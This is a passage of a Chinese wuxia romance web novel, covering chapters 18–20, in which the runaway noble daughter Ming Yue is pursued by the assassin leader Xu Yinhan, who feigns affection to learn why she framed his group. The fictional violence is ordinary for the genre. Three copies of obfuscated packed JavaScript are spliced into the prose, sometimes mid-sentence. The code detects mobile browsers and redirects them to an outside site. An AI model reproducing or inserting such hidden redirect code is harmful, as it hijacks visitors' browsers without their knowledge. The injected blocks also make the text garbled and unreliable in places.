常伯伯掂了掂腰间的小荷包,笑道,“放心吧,都给你保管着。” 明越轻哼一声:“我才不稀罕呢。” 无尘住持:“没了贵月楼杀手的保护,你孤身一人前往眉州风险太大,在见到你想见的人之前,就让常伯伯与你同行吧。” 明越立刻想推脱:“我一个人也……” “不,有件事我还没告诉你,”无尘住持突然严肃起来,沉声道,“羽林卫统领陆绥,前日找我要走了你的画像。” 明越愣了愣,又摆摆手道:“要走了也没关系,都是三年前的画像了,谁又能认得出来呢。” 常伯伯却摇头道:“虽说难辨,但那始终是个隐患。” “而且按他们的脚程,现在应该已经到临安了。” * 徐吟寒与姜演骑走了衍回寺马厩里明越买的那两匹快马,不出一日一夜就到了临安城。 临安的城防依然严峻,而且城内真的有官兵在不停地向百姓打听画像上的人。 徐吟寒甫一进城,就有官兵递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040531|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一幅画像。 “这位公子,可有见过画像上的人?” 徐吟寒的眉头微不可察地蹙了一下,而后冷声道:“没见过。” 这画像上张牙舞爪的人究竟是谁画出来冒名顶替他的? 他又想起明越手舞足蹈描述他画像时的样子。 “獐头鼠目、尖嘴猴腮、蓬头垢面……也不知是按哪本古籍画的,简直不是人该有的长相。” “所以我敢笃定,这八方幕的主公,定是……” “——世间少见丑陋之人。” …… 按这画像来,她倒是所言不虚。 官兵又要掏出另一幅来时,被一旁的姜演拦下。 “另一幅我早看过了,我们不认识也没见过,不用浪费时间了。” 官兵便收了起来,找了下一个人问。 姜演还在为自己又替主上排忧解难一次沾沾自喜,瞥见主上肃然的神情,记起正事最要紧。 “主上,那您先回贵月楼拿赏金吧,我先去给兄弟们递个信儿。” 八方幕的杀手最近都在东躲西藏,姜演知道的,现下一定在临安城为主上打探消息的,只有素日来与主上关系亲近的付雨。 而他们传信所用的,是一支竹叶哨。 竹叶哨为八方幕独有,用木头雕刻出树叶的形状,声音时而尖利时而婉转,八方幕的人都对竹叶哨的声音极为敏感。 姜演去到他所知道的付雨可能躲藏的几个地方,一一吹响竹叶哨。 终于在一处无人的废弃宅院里,一少年人从空中翻跃而下,在姜演身前稳稳落地。 许久没见到熟悉的兄弟,姜演嘴一瘪就要抱上去:“付雨,你都不知道我这段时间经历了什么……” 付雨单手打住他,另一手攥着一张白宣,疾言厉色道:“主上在哪?” 姜演:“难道付雨只想主上不想我吗?” 付雨:“……” 付雨:“我说正事。” 姜演:“我也说正事啊,这么久没见,怎么感觉你比以前更冷漠了!” 付雨:“……” 两人一言一语的“寒暄”着,徐吟寒才姗姗来迟。 付雨见了,一把推开姜演,朝徐吟寒作揖:“主上。” 徐吟寒颔首,将手中一箱钱银扔给姜演,道:“有什么消息?” 付雨递上白宣:“近日,羽林卫更换了原本用来寻人的朝都明府小姐的画像。” “我越看,越觉得像一个人。” 画卷徐徐展开,徐吟寒看了过去。 薄纱般的日光覆于其上,画中人挽着官家小姐常见的扶云髻,眉眼明亮澄澈,雾蒙蒙的发着光。 看着是个十三四岁的少女,但那双圆眼莫名让徐吟寒想起一个人。 “我觉得,极像您这次万金悬赏的悬赏主。” 姜演抱着箱子眨了眨眼,愣神问:“你再说一遍,像谁?” …… “这还用说像吗,这简直是一模一样!” 空旷的院落里炸开了姜演抓狂的吵闹声,他指着画像气急败坏道,“怪不得要赶咱们走呢,敢情是做贼心虚啊!” “主上,咱们现在就回徵州抓她,不把她碎尸万段我就不姓姜!” “……” 付雨上前道:“主上,要我去把她抓回来吗?” “不用。” 徐吟寒唇间冷冰冰吐出一言,低垂着眼,指腹慢慢划过少女眼尾的红。 ——朝都明府的大小姐,大梁皇室的准太子妃,明越。 他现在总算知道她叫什么名字,是何身份了。 她要躲。 那他就只能,一点一点,把她所有想要隐藏的东西挖出来,再让她把这些东西咬碎嚼烂,带入坟墓。 18. 缚雪 “常伯伯,你就送到这儿吧。” 明越将包袱抗下马车,指了指身后简陋的客栈,“我今日在这儿住一晚,等明日进了眉州城,就不需要你随身保护了。” 在衍回寺时,明越拗不过无尘住持,只得让常伯伯做她的马夫,一路坐着马车,走了三日才到眉州城外。 常伯伯却提走她手里的包袱,摇摇头道:“老夫既答应了住持把你送到城内,就不能半途而废。” 明越:“这也算是在眉州城内了……” 常伯伯一竖掌打住她:“行了,记得给我登一间上等厢房,再烫壶酒。” “……” “你要实在觉得亏欠,老夫倒是有个法子。” 明越一听,警惕地看着他。 这一路他吃食住行都要最好的,把无尘住持给她的银子都要花光了。 “你之前给贵月楼那小子开的什么价,照原样开给老夫就行。” 常伯伯拍拍胸脯道,“我这一路比那小子可强多了吧。” 明越捂紧钱袋:“我可没钱了!” 像是又想起了什么,她垂下眼睫,轻声道:“你才没他强呢。” 常伯伯啧啧道:“那你还赶人家走?如今的小女娃,真是……” 明越:“我又不是赶他走,我们不过各取所需,取完了就散了呗。” “行行行,进去再说,眉州这地晚上怪冷的。” 这几日虽然没再下雪,但天气愈发冷冽,好几日都没见太阳。 明越登了两间二楼的厢房,两人又在一楼要了一桌子热菜。 “话说,小女娃,你逃去眉州就不怕和八方幕撞个正着?” 明越顿住:“眉州怎么了,难道八方幕现在在眉州?” 常伯伯摇摇头:“不是,八方幕的行踪谁能知道,你来眉州之前就没听说过上清冢楼?” 上清冢楼?那就是她要去的地方啊。 明越放下筷著,蹙眉问:“我只知道那是个酒楼,怎么会和八方幕有关系呢?” “上清冢楼可不只是酒楼,他们的楼主卞清痕曾算是八方幕的二把手,后面也不知怎的就另立门户,还做过当今公主两年的侍卫。” 常伯伯边说边吃,含糊不清地笑她,“你说万一他发现了你,给八方幕通风报信,你还能躲几时?” 明越想了想:“可是他不知道我会来眉州啊,当然也不会刻意去找。” 她没放在心上,哼着歌上了二楼。 “最危险的地方就是最安全的地方嘛。” * 衍回寺外,姜演灰头土脸的从寺门走出来,对徐吟寒道:“主上,衍回寺的人说明小姐早就走了,问起去向都说不知道。” 徐吟寒意料之中的“嗯”了声。 “那我们只能往眉州方向追了吗?” 姜演掏出一张白宣,细数,“据我们打听到的消息,明小姐从未去过眉州,那她说要去眉州会不会是在掩耳盗铃?” “而且看她的过往生平,与皇室亦或太子都没有一丝关系,也似乎并没有嫁祸咱们的理由,不合常理啊。” 徐吟寒偏开头,看向衍回寺的金色牌匾。 姜演:“算了,管她有什么理由,直接杀了便是!” “不能直接杀。” 与徐吟寒如出一辙的冷淡声音自林中传来,一道鬼魅般的身影从天而降。 付雨在姜演身旁站定,拱手道:“主上,我们在眉州的人找到明府小姐了,她今夜就住在城外的秋水客栈,身边还有个老头。” 姜演:“那为什么不能直接杀?此人奸诈阴险,行迹鬼祟,留着终究是个隐患!” 付雨:“我们的人在暗处听到了些他们的对话,虽说听得不大清楚,但也敢笃定,他们提到了……上清冢楼。” 徐吟寒掀起眼,眸光陡然沉暗下去。 “从她的生平查不出她嫁祸于我们的原因,或许问题的症结就在于此。” 因着知道徐吟寒的忌讳,姜演每次与徐吟寒提起上清冢楼,都是用“那位”代替。 这会儿他一时发愣,脱口而出:“二少主他……” 意识到不对,他忙低下头去,不敢看徐吟寒的神情。 “主上,我认为我们可以直接上门将其抓获,再严刑逼供,最后把她交给皇室,还八方幕清白。” 付雨冷冰冰道。 徐吟寒垂下眼:“那就这样……” “不行!” 姜演突然打断他们,一本正经道:“主上,我觉得这样可能非但问不出什么,还会加剧咱们在江湖里恶劣的名声,得不偿失。” 付雨看他:“你待如何?” “主上还记得之前咱们骗明小姐的事吗,那会儿八成是明小姐当真了,才那么有兴致听我讲故事,也不知不觉暴露了自己许多秘密。” 姜演勾起一抹狡黠的笑,“咱们可以利用这个,故技重施一次,以咱们主上这容貌身段,保准能骗得明小姐神魂颠倒……” “……” 付雨拧眉:“主上怎么会应允你这馊主意?” 姜演:“这怎么能算馊主意呢?而且也不需要主上多做什么,只需给明小姐说几句甜言蜜语。” “这样也能打消明小姐的疑心,一举三得嘛。” 姜演看着自家主上挺拔清瘦的身姿,那双稍微一弯就能勾得万千少女心的桃花眼,仿佛已经看到明小姐如何如痴如醉追随主上的模样了。 徐吟寒闭了闭眼,不耐道:“要说你说。” 他这辈子,都不可能给任何一个女子说什么甜言蜜语。 姜演两掌一合:“这样也行啊,我可以在一旁给主上提示些该说的话,简直万无一失!” “到时候我与主上配合得天衣无缝,还怕拿不下区区一个明府小姐?” * 停了好几日的雪,竟在明越住进秋水客栈这晚,又开始纷纷扬扬地下。 整晚霜雪打窗,冷风渗骨,这客栈连最简陋的火盆都没有,冻得明越翻来覆去睡不着觉。 半梦半醒时,她恍惚好像看到了一个熟悉的人。 那人五大三粗,皮肤黝黑,呲牙咧嘴地扛着大刀,朝弱小又无助的她走来。 “你说,到底为何将逃婚一事嫁祸于我?!” 他“唰”地挥刀在近她咫尺的地方,吼声震天动地,像要将她挫骨扬灰。 明越吓得一动不敢动,愣怔看着那张青面獠牙的脸。 “你给我等着,我早晚会找到你,再亲手砍下你的头,挖掉你的双眼,剔去你的骨肉……” “你一定会死在我手里!!!” …… 明越的脸憋得发红,用力在牢笼般的噩梦中挣扎,终于在一声尖叫后睁开眼来。 她惊魂未定地坐起身来,看了眼窗外,天边渐渐泛起了鱼肚白,正是黎明破晓时。 但方才的梦还那样清晰。 若八方幕主公真是画像上的那个样子,这样的梦似乎也可以算作是她的未来。 也如他所说,她一定会死在他手里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15040532|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想到这里,她眉心隐隐作痛。 而房门在此时被敲响,紧接着是常伯伯含笑的嗓音:“小女娃,你看看谁来了?” 明越一边在心里嘟囔着还能有谁,一边披了件雪白的外裳,整理了下未梳发髻的黑发,她揉着眼睛去开门。 “直说吧,又要买什么?” 一股寒凉的气息拂面而来,明越小猫似地伸了个懒腰,不紧不慢掀起眼睫,入目却是一人宽阔的胸膛。 她还没反应过来:“常伯伯,你……一夜之间返老回春了?” “这说的什么话!” 常伯伯从那人身后走出来,冲她挤眉弄眼:“再仔细看看。” 明越缓缓抬起头。 顺着少年漆黑的衣襟,颀长的脖颈,对上他低垂的眼。 以前捉摸不透的,此刻毫无保留地展露在她面前。 “十一……?” 她使劲眨了眨眼,看着他肩头零星的雪粒发呆,嘴边不自觉呢喃,“不会吧……” 她这是还没醒?八方幕主公变成十一的模样来找她了? 或者是,十一……不,这个人发现她知道了他的真实身份,千里迢迢赶来灭口! 明越脑海里疑窦丛生,但少年依然没有任何解释,乌黑的眸盯着她,直叫她后背发凉。 陷入沉默后,气氛一下子变得尴尬而局促。 明越与徐吟寒就这样面对面站着,一个在担惊受怕,一个尚还怀着深仇大恨,眼中没有半分能让明越动容的温和。 一旁的姜演终于忍不住戳了戳徐吟寒的腰背,在少年稍稍偏头看过来时,伸出食指和中指,交替着在空中从一边走向另一边。 他努力作出口型:“主上快说,说你担心她的安危,所以特意来找她……” 徐吟寒一记冷眼扫过去,姜演乖乖闭起嘴。 “你是专程来找我的吗?” 少女衣衫半拢,鬓边黑发垂落于肩,望着徐吟寒轻声开口。 徐吟寒回过头来,看见她白皙的脖颈,心底积压几日的怒意蹭蹭上涨,仿佛下一秒就要用刀抵住她的喉间脆弱的皮肤,看她青色的血管喷涌出大片鲜血,撕碎她全部伪装。 他根本没办法心平气和的和她站在一处,更别说用那种下三滥的方法套她的话。 许久,他缓缓启唇:“是,专程来找你。” “专程”二字被他咬得极重,听得姜演心惊胆战。 这么明显,岂不是要被明越给猜出因果。 姜演想了想,替徐吟寒补充道:“我师父不是那种唯利是图的人,他回临安的路上总是放心不下悬赏主你,便毅然决然返回来找你!” 明越似懂非懂地点点头,又问:“为什么放心不下我?” 姜演抢在徐吟寒之前道:“因为……因为我师父他这一路上思来想去,明白了自己的心,他……他觉得自己爱慕你!” 徐吟寒:“?” 付雨:“!?” 常伯伯:“果然如此……” 明越瞬间像着火了般浑身发烫,满面绯红地看向徐吟寒:“怎么可能……” 她又想起来什么,连忙摇头:“还有,你师父不是有个喜欢了三年的心上人吗?!” 徐吟寒:“……” 付雨:“!!!!!” 常伯伯:“什么?这臭小子!” 事已至此,顾不得思考日后该怎么承受主上的怒火,姜演决心背水一战—— “没错!我师父已经为了你移情别恋了!” 19. 缚雪 一炷香后,坐在徐吟寒对面的明越,听着姜演急头白脸的解释,才缓缓反应过来。 世人都道情之复杂,敢情明越是遇到了最复杂的一种。 传说中的,就算不知道她的容貌,也不知道她的过往,但无论她是以什么身份出现,只要相遇,就会无数次喜欢上同一个她。 十一就是对素未谋面的她魂牵梦萦,又在不知道她真实身份的情况下,喜欢上遇到的她,却误以为自己移情别恋。 此刻厢房里只有她、徐吟寒、姜演三人,明越指尖缠着垂落的乌发打转,脸庞红红的,时不时抬头看一眼徐吟寒。 怪不得十一来找她都不戴一副新的面具了,这是在向她示好吗? “……然后我师父就抛下万两赏金,没日没夜赶来眉州找你了。” 口干舌燥说完最后一句,姜演挤出一个疲惫的笑,“怎么样,你可有看到我师父的真心?” 这回的故事比上回的更长,也更合情合理,明越总该能说点秘密了吧。 而明越迟疑了下:“那你们怎么知道我在这儿呢?” 姜演一噎,刚想编个什么,就听徐吟寒冷冷道:“那你又怎么会在这儿?” 明越:“我……” “有些说暂时不去眉州的人,现在已经住进眉州城外的客栈了。” “……”她怎么忘记这茬了! 徐吟寒一抬下巴:“你解释解释?” 明越眸光闪烁,抬手摸了摸后脖颈:“我只说暂时不想,又不是不去……” 徐吟寒往椅背上一靠,像审犯人般审问她:“去眉州干什么?” 姜演一惊,忙去看明越的反应。 主上这意图简直是呼之欲出,果不其然,少女脸上逐渐露出了几丝困惑。 姜演灵机一动,替徐吟寒补充:“我师父的意思是,无论你想做什么,他都会陪着你一起。” 明越这颗因为徐吟寒冷冰冰的话冷静下来的心,又重重地跳了一下。 原来是这个意思。 她清了清嗓子,音调不自觉上扬:“我还能干什么,当然是回家了。” 徐吟寒与姜演面面相觑,竖耳听她继续。 “我月前云游至朝都,不曾想遇到山贼匪寇,又逢时道混乱,不得已只能寻人保护。” “现下云游结束,我自该归家,在家中习字学琴,自在玩乐……”明越晃晃脑袋,弯着眼睛看徐吟寒,“不过要是你想陪我,也不是不行。” 徐吟寒:“不……” “不错,我师父他就是这么想的!” 姜演及时打断他,沉浸在向真相进一步靠近的喜悦中,“事不宜迟,快让我师父陪你回家吧!” “……” …… 三言两语打发走徐吟寒和姜演,明越一动不动在原地陷入沉思。 常伯伯为避嫌在楼下吃了顿酒,见徐吟寒走了才敲响明越的门,兴致勃勃地问:“心上人的事解释清楚了?” 明越摇摇头:“我知道心上人的事是假的,但我总觉得哪里有古怪。” 常伯伯:“怎么说?” 明越也不知道怎么说。 少年的身份尚且扑朔迷离,这样突兀地暴露在她面前,又突兀地来找她,说爱慕她。 细想一番,其实大部分关于爱慕的话都是他身边那个徒弟说的,他反而没主动提过一句。 明越大概把情况告诉了常伯伯,常伯伯思考了下,摇头晃脑道:“这情意呢,通常都是当局者迷,旁观者清。” “或许不是那个徒弟胡言乱语,而是那小子羞于启齿,所以让旁人代他说与你呢?” 明越也点点头:“这倒是有可能……” 但她还隐瞒了十一身份作假的事,有没有可能是他不知道如何向她坦白,才让她误会的? 明越紧蹙的眉头舒展开来。 常伯伯轻笑一声,拎起一个镶嵌着金丝线的酒葫芦。 明越瞪大了眼:“这又是哪买的,这得花好多银子吧!” 常伯伯躲开她那只探寻的手,不满地打了个酒嗝:“你这小女娃最不好的一点就是抠门,还有,谁告诉你这是买的?” 看着一身破衣烂衫、乞丐打扮的常伯伯,明越眼神震动。 ——偷的! 常伯伯似是看出了她在想什么,无言道:“这是老夫在楼下吃酒时店小二送的。” 明越怀疑地打量他:“为什么要给你送?” “听说是上清冢楼今日惠客,便用这种方式在眉州揽客。” 常伯伯灌了口酒,盯着酒葫芦看了会儿,忽而笑道:“小女娃,老夫再免费给你出个主意如何?” 明越直起身来:“什么主意?” “俗话说,酒后见真心,今晚你便与那小子去一趟上清冢楼,把他灌醉咯,你想听什么就随便问,保你都能听到真话。” “……” 明越攥紧双拳,“虽然最危险的地方就是最安全的地方,那你也不能让我往人家怀里送啊!” 常伯伯大笑:“就知道你要说这个,放心吧,我打听到卞清痕近日并不在眉州,你可在此处多留些时日。” 听着常伯伯的笑声,明越犹犹豫豫间,竟当真有点动摇。 她也能借此机会问出他的真实身份,如此才能万无一失。 常伯伯瞥见她红晕未褪的面,品着嘴里的酒液,意犹未尽砸了砸嘴。 “上清冢楼的酒,乱春心、动人情,当是眉州一绝啊……” * 回到他们刚登下的厢房内,徐吟寒的沉默像一把锋利的刀,一寸寸凌迟着姜演与付雨的心。 偏偏厢房又冷得像深冬的地窖,阵阵凉风吹进,姜演忍不住一阵瑟缩。 “主上,我也……我也不知这明小姐怎么整日满嘴胡言,硬是把黑的都编成白的,也不知道她说的‘家’是真是假……” 付雨白了他一眼:“早把她绑了,都没这么多事。” 姜演委屈道:“也不知道她嘴怎么这么严……” 付雨:“主上,我们已身处眉州地界,若我们直接把她带进上清冢楼,她便插翅难逃。” “上……上清冢楼?” 姜演小心翼翼看向徐吟寒,大气不敢出。 上清冢楼,楼主卞清痕,一直是深埋在八方幕众人心中的一根尖刺。 自从卞清痕离开八方幕,主上就再也没来过眉州,而二人在江湖中的较量从未止歇。 虽说两方偶尔会有联系,那也只是八方幕与上清冢楼的联系,二人也从未为此出面。 这次他们迫于无奈来到眉州,付雨提前去上清冢楼打探过消息,得知卞清痕离开眉州已有月余才放下心,不然他们两人不小心见一面,还不知道要掀起怎样的腥风血雨。 不管怎么说,上清冢楼依然是他们可以利用的工具,里面尽是当初跟随卞清痕一同离开的杀手,明越踏入其中半步,就已是一具尸体。 “……如果真要去的话,那我还有最后一个方法。” 姜演颤颤巍巍举起手,看两人都没有打断的意思,才道,“上清冢楼是酒楼,如果能骗明小姐饮酒,就能让明小姐酒后吐真言。” “等她把该交代的交代了,她既入彀中,定然无处可逃!” * 上清冢楼为眉州第一酒楼,又因今日开宴惠客,人流格外拥挤。 明越与徐吟寒在店门外等了许久,直等到一桌又一桌的客人鱼贯而出,他们依然没找到空余的桌子。 问起店小二,只会一脸不耐烦地告诉他们必须排队等。 上清冢楼的店小二都这么狂傲吗? 明越被拒绝后心里一肚子气没地方撒,只敢在无人看得到的地方跺跺脚。 她想带徐吟寒去其他地方,但又怕其他地方的酒灌不醉徐吟寒。 等了半个时辰,她终于坐不住了,拿出一个鼓鼓囊囊的锦囊扔给店小二,趾高气昂道:“给我最贵最好的包厢,上最香最浓的酒!” 店小二看见这些银两顿时眼睛发亮,一改之前的态度,笑呵呵把他们迎了进去。 其实明越还是有点心痛的,但毕竟是她邀请的徐吟寒,也不好意思让人家等那么久。 楼内灯火明亮,人声嘈杂,看台上翩翩起舞的女子婀娜多姿,稍一回眸便赢得满堂喝彩。 而徐吟寒一进来,便有无数女郎回头惊叹。 店小二先进包厢收拾碗盘,明越与徐吟寒等在二楼的过道里,不停有目光停留在他们二人身上。 准确来说,是停留在徐吟寒身上。 那些目光好似会发热般,烧得明越浑身滚烫。她不自在地背过身靠在栏杆上,眼神却有一下没一下的瞥向身旁的徐吟寒。 少年确实太过出挑。 他双肘撑在身后的栏杆上,蹀躞带将他的腰腹收束得紧窄精瘦,头顶的滚灯徐徐打转,在他的束发银冠上划过冷冽的光华。 眼皮懒懒掀着,注意到她黏在他身上的视线后,转过头盯住她,带着不留情面的警告意味。 ……小气,连看都不能多看一眼,就这还说爱慕她呢。 明越便也不服输似的挪开视线,默默想。 等待会儿一杯酒下去,再怎么嘴硬的人也得说出几句软话来。 …… 很快,明越就知道,灌醉徐吟寒这件事,实在是天方夜谭。 最贵的包厢收拾好了,最浓的酒也上了,厢房内点的黄梨香甜润清雅,与暖黄的灯光一同包裹着这间小小的厢房。 可惜再怎么温暖,都冲不散徐吟寒身上彻骨的冷意。 明越攥紧手中的小酒杯,想了想还是举起杯来,扬起一个明媚的笑:“第一杯我们一起喝!” “……” 回应她的是一室冷寂。 明越尴尬地抿了一小口杯中热酒,丝丝果香味在她唇间弥漫开来,沁人心脾。 好喝是好喝,但也不能只她一人喝呀。 她眼珠滴溜溜地转,忽而一亮,为自己重新斟了杯酒。 “十一,我们来打个赌吧。” 她再次举起酒杯,扬眉道,“我们轮流向对方提个问题,谁要是答不上来,谁就喝一杯酒,如何?” 闻言,一直看着窗外的徐吟寒才回过眼来,学着她的样子举了举酒杯,“你先。” 明越本想直接问些他必然答不上来的问题,但她又想起了方才看台上那些身段傲人的女子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15040533|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她刚刚倒是忘记注意,徐吟寒有没有多看她们其中某人几眼了。 “十一,你说,”她慢悠悠支起下颌,“我是不是和外面的女子一样好看?” 徐吟寒落在她身上的目光打了个顿。 对面的少女脸颊微红,那双亮晶晶的眼睛迫切地想从他的神情中得到一个答案。 这才是最简单的问题,只需一个轻飘飘的“是”字就…… “不是。” 徐吟寒放下酒杯,眼底闪过一分戏谑。 明越脸上的笑意即将凝固。 但应该还有回转的余地吧,比如,她比…… “你没她们好看。” “……” 手中的酒杯几乎要被明越捏碎,她缓缓平下嘴角的弧度,咬牙:“你怎么能这么说……” “实话还不让说了?”徐吟寒抬了下手,隔空示意,“你喝。” 明越一拍桌子:“我没说出题的人需要喝!” 徐吟寒:“那我现在说,出题的人需要喝,行了吗?” “……” 明越不甘心地一饮而尽。 “再来!” 徐吟寒:“我的生辰。” 明越:“……” 她就不该给他什么好处。 “你的生辰我如何得知?你玩把戏!” “你也没说不能问。” “……” 明越又不甘心地饮下第二杯。 饶是果酒,喝多了也不免头昏灼心,她继续:“该我问了。” 明越将计就计:“我的生辰!” 徐吟寒毫不犹豫:“正月初八。” 明越喜上眉梢,立刻指着他道:“你答错了,快喝!” 徐吟寒淡淡道:“你说的是‘答上来’就行,既如此,答错又何妨?” “…………” …… 酒过三巡,对面的少女终于一头蒙倒在了桌案上。 徐吟寒看着她被酒气熏得绯红的侧颜,丁零当啷落在桌案上的发钗,自顾自拿起那杯早已斟好,却一直没机会动的酒。 他饮尽时,听见少女神智不清的呢喃声。 “我……我问你,你到底……到底……” 后面的话,全都被她的闷哼声吞没。 果酒沁凉入喉,徐吟寒站起身,径直走出了包厢。 此时上清冢楼已到了打烊的时间,楼内只剩零星几个客人。 付雨早就等在门外,见徐吟寒出来,上前道:“主上,计划有变。” 藏在上清冢楼的杀手一眼便能认出徐吟寒腰间的短剑,便连同店小二一起,在他们说话间都消失得无影无踪。 周遭归于死寂之时,空中骤然响起一阵刺耳的破空声,凌厉的风向徐吟寒的耳侧直袭而来。 徐吟寒抬手掌住那柄刺刀,眉梢危险地一扬。 “好久不见。” 不知何处,一道含笑的男声乍然响起。 “徐吟寒。” …… 明越恢复意识时,已不知是几时几刻。 她身上酒气未散,一壶酒已经见底,对座的徐吟寒也不知所踪。 看见桌案上的一片凌乱,她记起自己被徐吟寒玩弄,给他灌酒没灌成,自己反而还醉倒了。 她气恼地向包厢外去,一推开门便是深夜一般的漆暗,顶上的滚灯也熄灭下去。 她愣愣地看着空旷的上清冢楼,黑暗中传来阵阵鼾声。 原是十一的小徒弟在门后睡着了。 明越轻手轻脚提着裙摆绕过去,在所有大同小异的包厢外漫无目的地走。 既然十一的徒弟还在,那十一肯定也在。 她走到最角落,发现包厢内隐隐现出柔柔灯光,铺陈在她身前的地板上。 里面还有隐隐约约的说话声传出。 她小心翼翼将耳朵贴了上去。 桌案上仅有的一盏油灯明明灭灭,闪烁着照亮徐吟寒别在腰间的两柄短刀。 那个略显别扭的红穗子飘飘荡荡,贴紧他腰际。 “你的品味越来越别致了。” 卞清痕懒声揶揄了句,躺倒在一旁的软塌里。 徐吟寒岔着腿坐在太师椅上,手边提起个金丝酒葫芦,屈指叩开木塞。 “你说你又喝不醉,为何还浪费我的好酒?” 酒渍染上唇畔,徐吟寒用指腹拭去,冷淡扫了塌上人一眼,“你的?” “这整个上清冢楼,和上清冢楼的所有人,都该归我所有。” 卞清痕笑了声:“凭什么?就凭你是八方幕的少主公?还是打遍天下无敌手的天下第一杀手?” 徐吟寒没作声,又饮下一口酒。 卞清痕坐起来看他:“那你这个‘上清冢楼的所有人’,也包括我了?” “……” 徐吟寒叩紧木塞,声线冷冽又无情,“我只要你的尸首。” “噗通”一声。 门口突然传来一声重物倒地的响动,两人警觉地看过去,所有呼吸声在此刻都安静下来。 良久,卞清痕扬着唇角,不动声色按住袖中的刺刀。 “有只小猫在偷听啊。” 20. 缚雪 明明听见包厢内的脚步声渐近,但明越却瘫倒在地,努力压下喉间即将溢出的尖叫声。 方才她听到的话,仿若无尽梦魇般在她耳边回响。 原来在这将近一个月的时间,她都在与一个最想要她命的人同行。 她最大的威胁,竟然一直以不同的身份,留在她身边。 而她在一炷香前,还在与那人朋友般吵闹。 她早该想到了,除了那位,还有谁能一举灭掉龙虎门,将她从上百匪徒中毫发无伤地救出。 他能在血流成河的困境之中,杀出一条生路来。 巨大无声的恐惧瞬间充斥着她的四肢百骸,她无助地抬头看向即将打开的屋门。 “你在这儿干什么?” 徐吟寒低眼,少女似还酒醉未醒,眼神迷蒙,衣裳凌乱地坐在地上,歪头盯着他看。 他想到什么,眉梢一扬,“你都听到了?” 若是听到了,他也不必再与她无趣地虚与委蛇。正好,他也很久没有折磨过一个人了。 黑暗中,他眼底闪过一片轻狂的猩红,缓缓屈膝蹲身,他的指腹抵住她的下颌,沿着颈线到达她脆弱的喉间。 掐紧,再用力,让她窒息,让她痛苦地死去。 他心中有个声音在不停叫嚣,在他收紧力道时,两只柔若无骨的手攀上他手臂。 徐吟寒一顿,掀眼便撞进那双无辜的眸中。 果酒的香气在他们极近的距离间徘徊不散,少女眼中醉意深浓,染着薄红的唇一张一合,气息滚烫。 “十一,你怎么突然不见了……” 她的声音带了几分真切的委屈,伏在他怀中轻轻啜泣,“别抛下我一个人……” 明越雪白的脖颈被他攥出一圈圈醒目的红痕,他盯着她朦胧的泪眼看了会儿,最后扯掉她的手站起身来。 “付雨。” 话音刚落,一道人影干脆利落翻下,落在少女身侧:“主上。” 徐吟寒:“带她回客栈。” 付雨看了眼醉倒在地的少女,顿了顿:“主上,不是说要把她绑进上清冢楼吗?” 徐吟寒没再解释,转身进了包厢。 …… 卞清痕就抱臂站在软塌边看着他回来,手里把玩着冰凉的刺刀。 “你往常要杀要剐我何时拦过你,怎么这回连热闹都不让看了?” 徐吟寒坐回太师椅,抬手松了松衣襟,合起双眼。 “我听声音是个女子啊,怎么,你终于打算摘朵桃花玩玩了?” 耳畔充斥着卞清痕不知死活的挑衅,但徐吟寒眼前浮现出的,却是少女从肩头垂落,又柔柔痒痒地拂过他手背那绸缎似的黑发。 脑中闪过的一道刺耳的铮鸣,霎时便打碎了这些场面,徐吟寒睁开眼来,目光微微一僵。 “但是,你身上竟然没有血迹,”卞清痕有些讶异,“这么仁慈,可不像之前的你。” “你想见血,我现在就能满足你。” 卞清痕摆摆手道:“罢了,我也懒得管你。你让我查那个栽赃你的明府小姐的踪迹,我几日前就给你递了消息,你可有头绪?” 徐吟寒抬头看他。 “你在装什么,卞清痕。” 他三言两语便撕裂了和谐到怪异的气氛,而卞清痕也慢慢收起了笑意,窗外连天的霜雪簌簌发响,两人剑拔弩张。 也是,他们本来就不该见面,也不该谈论一些无关紧要的话题。 就像是徐吟寒最后通过上清冢楼的人知晓,卞清痕千里迢迢递给徐吟寒的信上,其实根本没什么消息,只有一行麻木不仁的问候。 * 被付雨和姜演带回秋水客栈这一漫长的过程,明越确定自己无比清醒。 她都害怕他们会在寂静的暗夜里,听到那样清晰跳动的她的心跳声。 还好她装醉酒装得毫无破绽,偶尔说两句似是而非的梦话就足够遮掩。 直到他们二人把他交给常伯伯,由常伯伯扶着她进到厢房,门关上,脚步声离去。 感觉到应该万无一失,明越立刻坐起身来,把正要给她盖被的常伯伯吓了一大跳。 “小女娃,你这到底是醉了还是没醉啊!” 明越没时间再解释,跌跌撞撞跑下床,从柜子里掏出张包袱皮铺在地板上,把桌案上各种物件一股脑地塞进去。 她要逃,她一刻也待不下去了! 